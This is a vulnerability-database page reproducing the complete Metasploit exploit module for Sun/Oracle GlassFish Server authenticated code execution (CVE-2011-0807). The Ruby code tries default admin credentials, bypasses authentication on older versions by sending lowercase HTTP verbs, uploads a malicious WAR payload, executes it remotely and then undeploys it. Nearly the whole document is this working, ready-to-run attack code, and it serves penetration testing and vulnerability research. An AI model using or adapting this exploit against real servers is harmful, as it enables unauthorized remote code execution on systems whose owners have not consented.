Lucene search
K

Sun/Oracle GlassFish Server Authenticated Code Execution

🗓️ 04 Aug 2011 00:00:00Reported by Joshua D. AbrahamType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 43 Views

Sun/Oracle GlassFish Server Authenticated Code Execution. Uploads and executes commands via deploying a malicious WAR. Tries to bypass authentication by sending lowercase HTTP verbs

Related
Code
`##  
# $Id: glassfish_deployer.rb 13485 2011-08-04 17:36:01Z hdm $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::EXE  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "Sun/Oracle GlassFish Server Authenticated Code Execution",  
'Description' => %q{  
This module logs in to an GlassFish Server 3.1 (Open Source or Commercial)   
instance using a default credential, uploads, and executes commands via deploying  
a malicious WAR. On Glassfish 2.x, 3.0 and Sun Java System Application Server 9.x  
this module will try to bypass authentication instead by sending lowercase HTTP verbs.  
},  
'License' => MSF_LICENSE,  
'Version' => "$Revision: 13485 $",  
'Author' =>  
[  
#Msf module for Glassfish 3.0  
'juan vazquez',  
#Msf module for Glassfish 3.1, 2.x and Sun Java System Application Server 9.1  
'Joshua Abraham <jabra[at]rapid7.com>',  
#Rewrite for 3.0, 3.1 (Commercial or Open Source)  
'sinn3r',  
],  
'References' =>  
[  
['CVE', '2011-0807'],  
],  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Automatic', { } ],  
[  
'Java Universal',  
{  
'Arch' => ARCH_JAVA,  
'Platform' => 'java',  
},  
],  
#  
# platform specific targets only  
#  
[  
'Windows Universal',  
{  
'Arch' => ARCH_X86,  
'Platform' => 'win',  
},  
],  
#  
# platform specific targets only  
#  
[  
'Linux Universal',  
{  
'Arch' => ARCH_X86,  
'Platform' => 'linux',  
},  
],  
],  
'DisclosureDate' => "Aug 4 2011",  
'DefaultTarget' => 0))  
  
register_options(  
[  
Opt::RPORT(4848),  
OptString.new('APP_RPORT',[ true, 'The Application interface port', '8080']),  
OptString.new('USERNAME', [ false, 'The username to authenticate as','admin' ]),  
OptString.new('PASSWORD', [ false, 'The password for the specified username','' ]),  
OptString.new('PATH', [ true, "The URI path of the GlassFish Server", '/'])  
], self.class)  
end  
  
#  
# Send GET or POST request, and return the response  
#  
def send_request(path, method, session='', data=nil, ctype=nil)  
  
headers = {}  
headers['Cookie'] = "JSESSIONID=#{session}" if session != ''  
headers['Content-Type'] = ctype if ctype != nil  
headers['Content-Length'] = data.length if data != nil  
  
res = send_request_raw({  
'uri' => path,  
'method' => method,  
'data' => data,  
'headers' => headers,  
}, 90)  
  
#'vhost' => "#{datastore['rhost']}:#{datastore['rport']}"  
return res  
end  
  
#  
# Return target  
#  
def auto_target(session, res, version)  
print_status("Attempting to automatically select a target...")  
  
res = query_serverinfo(session,version)  
return nil if not res  
return nil if not res.body  
  
plat = detect_platform(res.body)  
arch = detect_arch(res.body)  
  
# No arch or platform found?  
return nil if (not arch or not plat)  
  
# see if we have a match  
targets.each do |t|  
return t if (t['Platform'] == plat) and (t['Arch'] == arch)  
end  
  
# no matching target found  
return nil  
end  
  
#  
# Return platform (win, linux, or osx)  
#  
def detect_platform(body)  
body.each_line do |ln|  
ln.chomp!  
case ln  
when /os\.name = (.*)/  
os = $1  
case os  
when /Windows/  
return 'win'  
when /Linux/  
return 'linux'  
when /Mac OS X/  
return 'osx'  
end  
end  
end  
  
return 'java'  
end  
  
#  
# Return ARCH  
#  
def detect_arch(body)  
body.each_line do |ln|  
ln.chomp!  
case ln  
when /os\.arch = (.*)/  
ar = $1  
case ar  
when 'x86', 'i386', 'i686'  
return ARCH_X86  
when 'x86_64', 'amd64'  
return ARCH_X86  
end  
end  
end  
end  
  
#  
# Return server information  
#  
def query_serverinfo(session,version)  
res = ''  
  
if version == '2.x' or version == '9.x'  
path = "/appServer/jvmReport.jsf?instanceName=server&pageTitle=JVM%20Report"  
res = send_request(path, @verbs['GET'], session)  
else  
path = "/common/appServer/jvmReport.jsf?pageTitle=JVM%20Report"  
res = send_request(path, @verbs['GET'], session)  
  
if ((not res) or (res.code != 200) or (res.body !~ /Operating System Information/))  
path = "/common/appServer/jvmReport.jsf?reportType=summary&instanceName=server"  
res = send_request(path, @verbs['GET'], session)  
end  
end  
  
if (not res) or (res.code != 200)  
print_error("Failed: Error requesting #{path}")  
return nil  
end  
  
return res  
end  
  
#  
# Return viewstate and entry before deleting a GlassFish application  
#  
def get_delete_info(session, version, app='')  
if version == '2.x' or version == '9.x'  
path = '/applications/webApplications.jsf'  
res = send_request(path, @verbs['GET'], session)  
  
if (not res) or (res.code != 200)  
print_error("Failed (#{res.code.to_s}): Error requesting #{path}")  
return nil  
end  
  
input_id = "javax.faces.ViewState"  
p = /input type="hidden" name="#{input_id}" id="#{input_id}" value="(j_id\d+:j_id\d+)"/  
viewstate = res.body.scan(p)[0][0]  
  
entry = nil  
p = /<a id="(.*)col1:link" href="\/applications\/webApplicationsEdit.jsf.*appName=(.*)">/  
results = res.body.scan(p)  
  
results.each do |hit|  
if hit[1] =~ /^#{app}/  
entry = hit[0]  
entry << "col0:select"  
end  
end  
  
else  
path = '/common/applications/applications.jsf?bare=true'  
res = send_request(path, @verbs['GET'], session)  
  
if (not res) or (res.code != 200)  
print_error("Failed (#{res.code.to_s}): Error requesting #{path}")  
return nil  
end  
  
input_id = "javax.faces.ViewState"  
p = /input type="hidden" name="#{input_id}" id="#{input_id}" value="(.*)" autocomplete="off"/  
viewstate = res.body.scan(p)[0][0]  
  
entry = nil  
p = /<a id="(.*)col1:link" href="\/common\/applications\/applicationEdit.jsf.*appName=(.*)">/  
results = res.body.scan(p)  
  
results.each do |hit|  
if hit[1] =~ /^#{app}/  
entry = hit[0]  
entry << "col0:select"  
end  
end  
end  
  
if (viewstate.nil?)  
print_error("Failed: Error getting ViewState")  
return nil  
elsif (entry.nil?)  
print_error("Failed: Error getting the entry to delete")  
end  
  
return viewstate, entry  
end  
  
#  
# Send an "undeploy" request to Glassfish and remove our backdoor  
#  
def undeploy(viewstate, session, entry)  
#Send undeployment request  
data = [  
"propertyForm%3AdeployTable%3AtopActionsGroup1%3Afilter_list=",  
"&propertyForm%3AdeployTable%3AtopActionsGroup1%3Afilter_submitter=false",  
"&#{Rex::Text.uri_encode(entry)}=true",  
"&propertyForm%3AhelpKey=ref-applications.html",  
"&propertyForm_hidden=propertyForm_hidden",  
"&javax.faces.ViewState=#{Rex::Text.uri_encode(viewstate)}",  
"&com_sun_webui_util_FocusManager_focusElementId=propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1",  
"&javax.faces.source=propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1",  
"&javax.faces.partial.execute=%40all",  
"&javax.faces.partial.render=%40all",  
"&bare=true",  
"&propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1=propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1",  
"&javax.faces.partial.ajax=true"  
].join()  
  
path = '/common/applications/applications.jsf'  
ctype = 'application/x-www-form-urlencoded'  
  
res = send_request(path, @verbs['POST'], session, data, ctype)  
if (not res)  
print_error("Undeployment failed on #{path} - No Response")  
else  
if res.code < 200 or res.code >= 300  
print_error("Undeployment failed on #{path} - #{res.code.to_s}:#{res.message.to_s}")  
end  
end  
end  
  
#  
# Return GlassFish's edition (Open Source or Commercial) and version (2.x, 3.0, 3.1, 9.x) and  
# banner (ex: Sun Java System Application Server 9.x)  
#  
def get_version(res)  
#Extract banner from response  
banner = res.headers['Server']  
  
#Default value for edition and glassfish version  
edition = 'Commercial'  
version = 'Unknown'  
  
#Set edition (Open Source or Commercial)  
p = /(Open Source|Sun GlassFish Enterprise Server|Sun Java System Application Server)/  
edition = 'Open Source' if banner =~ p  
  
#Set version. Some GlassFish servers return banner "GlassFish v3".  
if banner =~ /(GlassFish Server|Open Source Edition) (\d\.\d)/  
version = $2  
elsif banner =~ /GlassFish v(\d)/ and (version == 'Unknown' or version.nil?)  
version = $1  
elsif banner =~ /Sun GlassFish Enterprise Server v2/ and (version.nil? or version == 'Unknown')  
version = '2.x'  
elsif banner =~ /Sun Java System Application Server 9/ and (version.nil? or version == 'Unknown')  
version = '9.x'  
end  
  
if version == nil or version == 'Unknown'  
print_status("Unsupported version: #{banner}")  
end  
  
return edition, version, banner  
end  
  
#  
# Return the formatted version of the POST data  
#  
def format_2_x_war(boundary,name,value=nil, war=nil)  
data = ''  
  
data << boundary  
data << "\r\nContent-Disposition: form-data; name=\"form:title:sheet1:section1:prop1:fileupload\"; "  
data << "filename=\"#{name}.war\"\r\nContent-Type: application/octet-stream\r\n\r\n"  
data << war  
data << "\r\n"  
  
return data  
end  
  
#  
# Return the formatted version of the POST data  
#  
def format(boundary,name,value=nil, war=nil)  
data = ''  
  
if war  
data << boundary  
data << "\r\nContent-Disposition: form-data; name=\"form:sheet1:section1:prop1:fileupload\"; "  
data << "filename=\"#{name}.war\"\r\nContent-Type: application/octet-stream\r\n\r\n"  
data << war  
data << "\r\n"  
else  
data << boundary  
data << "\r\nContent-Disposition: form-data; name=\"#{name}\""  
data << "\r\n\r\n"  
data << "#{value}\r\n"  
end  
  
return data  
end  
  
#  
# Return POST data and data length, based on GlassFish edition  
#  
def get_upload_data(boundary, version, war, app_base, typefield='', status_checkbox='', start='', viewstate='')  
data = ''  
  
if version == '3.0'  
  
uploadParam_name = "form:sheet1:section1:prop1:fileupload_com.sun.webui.jsf.uploadParam"  
uploadparam_data = "form:sheet1:section1:prop1:fileupload"  
  
boundary = "--#{boundary}"  
  
data = [  
format(boundary, app_base, nil, war),  
format(boundary, uploadParam_name, uploadparam_data),  
format(boundary, "form:sheet1:section1:prop1:extension", ".war"),  
format(boundary, "form:sheet1:section1:prop1:action", "client"),  
format(boundary, typefield, "war"),  
format(boundary, "form:war:psection:cxp:ctx", app_base),  
format(boundary, "form:war:psection:nameProp:appName", app_base),  
format(boundary, "form:war:psection:vsProp:vs", ""),  
format(boundary, status_checkbox, "true"),  
format(boundary, "form:war:psection:librariesProp:library", ""),  
format(boundary, "form:war:psection:descriptionProp:description", ""),  
format(boundary, "form_hidden", "form_hidden"),  
format(boundary, "javax.faces.ViewState", viewstate),  
"#{boundary}--"  
].join()  
elsif version == '2.x' or version == '9.x'  
  
uploadParam_name = "form:title:sheet1:section1:prop1:fileupload_com.sun.webui.jsf.uploadParam"  
uploadParam_data = "form:title:sheet1:section1:prop1:fileupload"  
  
focusElementId_name = "com_sun_webui_util_FocusManager_focusElementId"  
focusElementId_data = 'form:title:topButtons:uploadButton'  
  
boundary = "-----------------------------#{boundary}"  
  
data = [  
format_2_x_war(boundary, app_base, nil, war),  
format(boundary, "form:title:sheet1:section1:type:appType", "webApp"),  
format(boundary, "uploadRdBtn", "client"),  
format(boundary, uploadParam_name, uploadParam_data),  
format(boundary, "form:title:sheet1:section1:prop1:extension", ".war"),  
format(boundary, "form:title:ps:psec:nameProp:appName", app_base),  
format(boundary, "form:title:ps:psec:cxp:ctx", app_base),  
format(boundary, "form:title:ps:psec:vsp:vs", ""),  
format(boundary, status_checkbox, "true"),  
format(boundary, "form:title:ps:psec:librariesProp:library", ""),  
format(boundary, "form:title:ps:psec:threadpoolProp:threadPool", ""),  
format(boundary, "form:title:ps:psec:registryProp:registryType", ""),  
format(boundary, "form:title:ps:psec:descriptionProp:description", ""),  
format(boundary, "form:helpKey", "uploaddev.html"),  
format(boundary, "form_hidden", "form_hidden"),  
format(boundary, "javax.faces.ViewState", viewstate),  
format(boundary, focusElementId_name, focusElementId_data),  
"#{boundary}--"  
].join()  
else  
  
boundary = "-----------------------------#{boundary}"  
  
#Setup dynamic arguments  
num1 = start.to_i  
num2 = num1 + 14  
num3 = num2 + 2  
num4 = num3 + 2  
num5 = num4 + 2  
num6 = num5 + 2  
num7 = num6 + 1  
  
id0 = num4  
id1 = num4 + 1  
id2 = num4 + 2  
id3 = num4 + 3  
id4 = num4 + 4  
id5 = num4 + 5  
id6 = num4 + 6  
id7 = num4 + 7  
id8 = num4 + 8  
id9 = num4 + 9  
  
uploadParam_name = "form:sheet1:section1:prop1:fileupload_com.sun.webui.jsf.uploadParam"  
uploadParam_value = "form:sheet1:section1:prop1:fileupload"  
  
focusElementId_name = "com_sun_webui_util_FocusManager_focusElementId"  
focusElementId_data = "form:title2:bottomButtons:uploadButton"  
  
data = [  
format(boundary,"uploadRdBtn","client"),  
## web service  
format(boundary, app_base, nil, war),  
## sheet1  
format(boundary, uploadParam_name, uploadParam_value),  
format(boundary,"form:sheet1:section1:prop1:extension",".war"),  
format(boundary,"form:sheet1:section1:prop1:action","client"),  
format(boundary,"form:sheet1:sun_propertySheetSection#{num1.to_s}:type:appType","war"),  
format(boundary,"form:appClient:psection:nameProp:appName","#{app_base}"),  
format(boundary,"form:appClient:psection:descriptionProp:description"),  
## war  
format(boundary,"form:war:psection:cxp:ctx","#{app_base}"),  
format(boundary,"form:war:psection:nameProp:appName","#{app_base}"),  
format(boundary,"form:war:psection:vsProp:vs"),  
format(boundary,"form:war:psection:enableProp:sun_checkbox" + id1.to_s,"true"),  
format(boundary,"form:war:psection:enableProp:sun_checkbox" + id2.to_s,"true"),  
format(boundary,"form:war:psection:enableProp:sun_checkbox" + id3.to_s,"true"),  
format(boundary,"form:war:psection:enableProp:sun_checkbox" + id4.to_s,"true"),  
format(boundary,"form:war:psection:enableProp:sun_checkbox" + id5.to_s,"true"),  
format(boundary,"form:war:psection:enableProp:sun_checkbox" + id6.to_s,"true"),  
format(boundary,"form:war:psection:enableProp:sun_checkbox" + id7.to_s,"true"),  
format(boundary,"form:war:psection:enableProp:sun_checkbox" + id8.to_s,"true"),  
format(boundary,"form:war:psection:enableProp:sun_checkbox" + id9.to_s,"true"),  
format(boundary,"form:war:psection:librariesProp:library"),  
format(boundary,"form:war:psection:descriptionProp:description"),  
format(boundary,"form_hidden","form_hidden"),  
format(boundary,"javax.faces.ViewState","#{viewstate}"),  
format(boundary, focusElementId_name, focusElementId_data)  
].join()  
  
item_list_name = "form:targetSection:targetSectionId:addRemoveProp:commonAddRemove_item_list"  
item_list_data = "|server|com.sun.webui.jsf.separator|"  
  
item_value_name = "form:targetSection:targetSectionId:addRemoveProp:commonAddRemove_list_value"  
item_value_data = "server"  
  
data << format(boundary, item_list_name, item_list_data)  
data << format(boundary, item_value_name, item_value_data)  
data << "#{boundary}--"  
data << "\r\n\r\n"  
  
end  
  
return data  
end  
  
#  
# Upload our payload, and execute it. This function will also try to automatically  
# clean up after itself.  
#  
def upload_exec(session, app_base, jsp_name, target, war, edition, version)  
if version == '2.x' or version == '9.x'  
path = "/applications/upload.jsf?appType=webApp"  
res = send_request(path, @verbs['GET'], session)  
  
#Obtain some properties  
begin  
p1 = /id="javax\.faces\.ViewState" value="(j_id\d{1,5}:j_id\d{1,5})"/mi  
p2 = /input type="checkbox" id="form:title:ps:psec:enableProp:sun_checkbox\d+" name="(.*)" checked/mi  
viewstate = res.body.scan(p1)[0][0]  
status_checkbox = res.body.scan(p2)[0][0]  
boundary = rand_text_alphanumeric(28)  
rescue  
print_error("Unable to gather required data for file upload")  
return  
end  
else  
path = "/common/applications/uploadFrame.jsf"  
res = send_request(path, @verbs['GET'], session)  
  
#Obtain some properties  
begin  
#start is only for dynamic arguments in POST data  
res.body =~ /propertySheetSection(\d{3})/  
start = $1  
p1 = /"javax\.faces\.ViewState" value="(-?\d+:-?\d+)"/mi  
p2 = /select class="MnuStd_sun4" id="form:sheet1:sun_propertySheetSection.*:type:appType" name="(.*)" size/  
p3 = /input type="checkbox" id="form:war:psection:enableProp:sun_checkbox.*" name="(.*)" checked/  
  
rnd_text = rand_text_alphanumeric(29)  
  
viewstate = res.body.scan(p1)[0][0]  
typefield = res.body.scan(p2)[0][0]  
status_checkbox = res.body.scan(p3)[0][0]  
boundary = (edition == 'Open Source') ? rnd_text[0,15] : rnd_text  
rescue  
print_error("Unable to gather required data for file upload")  
return  
end  
end  
  
#Get upload data  
if version == '3.0'  
ctype = "multipart/form-data; boundary=#{boundary}"  
elsif version == '2.x' or version == '9.x'  
ctype = "multipart/form-data; boundary=---------------------------#{boundary}"  
typefield = ''  
start = ''  
else  
ctype = "multipart/form-data; boundary=---------------------------#{boundary}"  
end  
  
post_data = get_upload_data(boundary, version, war, app_base, typefield, status_checkbox, start, viewstate)  
  
#Upload our payload  
if version == '2.x' or version == '9.x'  
path = '/applications/upload.jsf?form:title:topButtons:uploadButton=%20%20OK%20%20'  
else  
path = '/common/applications/uploadFrame.jsf?'  
path << 'form:title:topButtons:uploadButton=Processing...'  
path << '&bare=false'  
end  
res = send_request(path, @verbs['POST'], session, post_data, ctype)  
  
#Print upload result  
if res and res.code == 302  
print_status("Successfully uploaded")  
else  
print_error("Error uploading #{res.code}")  
return  
end  
  
#Execute our payload using the application interface (no need to use auth bypass technique)  
jsp_path = "/" + app_base + "/" + jsp_name + ".jsp"  
nclient = Rex::Proto::Http::Client.new(datastore['RHOST'], datastore['APP_RPORT'],  
{  
'Msf' => framework,  
'MsfExploit' => self,  
}  
)  
  
print_status("Executing #{jsp_path}...")  
req = nclient.request_raw({  
'uri' => jsp_path,  
'method' => 'GET',  
})  
  
if (req)  
res = nclient.send_recv(req, 90)  
else  
print_status("Error: #{rhost} did not respond on #{app_rport}.")  
end  
  
#Sleep for a bit before cleanup  
select(nil, nil, nil, 5)  
  
#Start undeploying  
print_status("Getting information to undeploy...")  
viewstate, entry = get_delete_info(session, version, app_base)  
if (not viewstate)  
raise RuntimeError, "Unable to get viewstate"  
elsif (not entry)  
raise RuntimeError, "Unable to get entry"  
end  
  
print_status("Undeploying #{app_base}...")  
undeploy(viewstate, session, entry)  
  
print_status("Undeployment complete.")  
end  
  
#  
# Try to login to Glassfish with a credential, and return the response  
#  
def try_login(user, pass)  
data = "j_username=#{Rex::Text.uri_encode(user.to_s)}&"  
data << "j_password=#{Rex::Text.uri_encode(pass.to_s)}&"  
data << "loginButton=Login"  
  
path = '/j_security_check'  
res = send_request(path, @verbs['POST'], '', data, 'application/x-www-form-urlencoded')  
  
return res  
end  
  
def log_success(user,pass)  
print_good("#{target_host()} - GlassFish - SUCCESSFUL login for '#{user}' : '#{pass}'")  
report_auth_info(  
:host => rhost,  
:port => rport,  
:sname => 'http',  
:user => user,  
:pass => pass,  
:proof => "WEBAPP=\"GlassFish\", VHOST=#{vhost}",  
:active => true  
)  
end  
  
def try_default_glassfish_login(version)  
success = false  
session = ''  
res = ''  
if version == '2.x' or version == '9.x'  
user = 'admin'  
pass = 'adminadmin'  
  
print_status("Trying default credential GlassFish 2.x #{user}:'#{pass}'....")  
res = try_login(user,pass)  
if res and res.code == 302  
session = $1 if (res and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*); /i)  
res = send_request('/applications/upload.jsf', 'GET', session)  
  
p = /<title>Deploy Enterprise Applications\/Modules/  
if (res and res.code.to_i == 200 and res.body.match(p) != nil)  
success = true  
end  
end  
  
else  
user = 'admin'  
pass = ''  
  
print_status("Trying default credential GlassFish 3.x #{user}:'#{pass}'....")  
res = try_login(user,pass)  
if res and res.code == 302  
session = $1 if (res and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*); /i)  
res = send_request('/common/applications/uploadFrame.jsf', 'GET', session)  
  
p = /<title>Deploy Applications or Modules/  
if (res and res.code.to_i == 200 and res.body.match(p) != nil)  
success = true  
end  
end  
end  
  
if success == true  
log_success(user,pass)  
else  
msg = "#{target_host()} - GlassFish - Failed to authenticate login for '#{user}' : '#{pass}'"  
print_error(msg)  
end  
  
return success, res, session  
end  
  
def try_nondefault_glassfish_login(version,user,pass)  
  
print_status("Trying credential #{user}:'#{pass}'....")  
success = false  
session = ''  
  
res = try_login(user, pass)  
if version == '2.x' or version == '9.x'  
if res and res.code == 302  
session = $1 if (res and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*); /i)  
res = send_request('/applications/upload.jsf', 'GET', session)  
  
p = /<title>Deploy Enterprise Applications\/Modules/  
if (res and res.code.to_i == 200 and res.body.match(p) != nil)  
success = true  
end  
end  
else  
if res and res.code == 302  
session = $1 if (res and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*); /i)  
res = send_request('/common/index.jsf', 'GET', session)  
  
p = /<title>Deploy Applications or Modules/  
if (res and res.code.to_i == 200 and res.body.match(p) != nil)  
success = true  
end  
end  
end  
  
if success == true  
log_success(user,pass)  
else  
msg = "#{target_host()} - GlassFish - Failed to authenticate login for '#{user}' : '#{pass}'"  
print_error(msg)  
end  
  
return success, res, session  
end  
  
  
def try_glassfish_auth_bypass(version)  
print_status("Trying GlassFish authentication bypass..")  
success = false  
  
if version == '2.x' or version == '9.x'  
res = send_request('/applications/upload.jsf', 'get')  
p = /<title>Deploy Enterprise Applications\/Modules/  
if (res and res.code.to_i == 200 and res.body.match(p) != nil)  
success = true  
end  
else  
# 3.0  
res = send_request('/common/applications/uploadFrame.jsf', 'get')  
p = /<title>Deploy Applications or Modules/  
if (res and res.code.to_i == 200 and res.body.match(p) != nil)  
success = true  
end  
end  
  
if success == true  
print_good("#{target_host} - GlassFish - SUCCESSFUL authentication bypass")  
report_auth_info(  
:host => rhost,  
:port => rport,  
:sname => 'http',  
:user => '',  
:pass => '',  
:proof => "WEBAPP=\"GlassFish\", VHOST=#{vhost}",  
:active => true  
)  
else  
print_error("#{target_host()} - GlassFish - Failed authentication bypass")  
end  
  
return success  
end  
  
def target_host  
path = datastore['PATH']  
target_host = "http://#{rhost.to_s}:#{rport.to_s}/#{path.to_s}"  
end  
  
def exploit  
user = datastore['USERNAME']  
pass = datastore['PASSWORD']  
path = datastore['PATH']  
target_host = "http://#{rhost.to_s}:#{rport.to_s}/#{path.to_s}"  
success = false  
session = ''  
edition = ''  
version = ''  
  
#Invoke index to gather some info  
res = send_request('/common/index.jsf', 'GET')  
  
if res.code == 302  
res = send_request('/login.jsf', 'GET')  
end  
  
#Get GlassFish version  
edition, version, banner = get_version(res)  
print_status("Glassfish edition: #{banner}")  
  
#Get session  
res.headers['Set-Cookie'] =~ /JSESSIONID=(.*); /  
session = $1  
  
#Set HTTP verbs. lower-case is used to bypass auth on v3.0  
@verbs = {  
'GET' => (version == '3.0' or version == '2.x' or version == '9.x') ? "get" : 'GET',  
'POST' => (version == '3.0' or version == '2.x' or version == '9.x') ? 'post' : 'POST',  
}  
  
#auth bypass  
if version == '3.0' or version == '2.x' or version == '9.x'  
success = try_glassfish_auth_bypass(version)  
end  
  
#BUG caused us to skip default cred checks on sun applicaiton server 9.x   
if success == false and version != '9.x'  
#default credentials  
success,res,session_login = try_default_glassfish_login(version)  
if success == false  
if (  
( (version == '2.x' ) and (user != 'admin' and pass != 'adminadmin') ) or   
( (version =~ /^3\./) and (user != 'admin' and pass != '') )  
)  
#non-default login  
success,res,session_login = try_nondefault_glassfish_login(version,user,pass)  
end  
end  
end  
  
#Start attacking  
if success  
session = session_login if (session_login =~ /\w+/)  
#Set target  
mytarget = target  
mytarget = auto_target(session, res, version) if mytarget.name =~ /Automatic/  
raise RunTimeError, "Unable to automatically select a target" if (not mytarget)  
  
#Generate payload  
p = exploit_regenerate_payload(mytarget.platform, mytarget.arch)  
  
jsp_name = rand_text_alphanumeric(4+rand(32-4))  
app_base = rand_text_alphanumeric(4+rand(32-4))  
  
war = p.encoded_war({  
:app_name => app_base,  
:jsp_name => jsp_name,  
:arch => mytarget.arch,  
:platform => mytarget.platform  
}).to_s  
  
#Upload, execute, cleanup, winning  
print_status("Uploading payload...")  
res = upload_exec(session, app_base, jsp_name, mytarget, war, edition, version)  
else  
print_error("#{target_host()} - GlassFish - Failed to authenticate login")  
end  
  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation